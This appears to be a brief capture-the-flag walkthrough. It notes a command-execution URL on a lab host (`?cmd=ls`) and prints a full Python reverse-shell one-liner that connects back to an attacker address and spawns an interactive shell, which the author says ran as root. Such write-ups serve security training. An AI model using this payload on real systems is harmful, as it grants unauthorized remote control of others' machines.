## PORT 80
There wasn't anything interesting on PORT 80
## PORT 30000
There was remote code execution on that page `10.10.25.95:3000?cmd=ls` which will give us an output.
## Reverse Shell
For reverse shell only python payload was working.
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.94.60",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```
## Privilege Escalation
There was no need to escalate our privileges we were already a root user through this reverse shell.
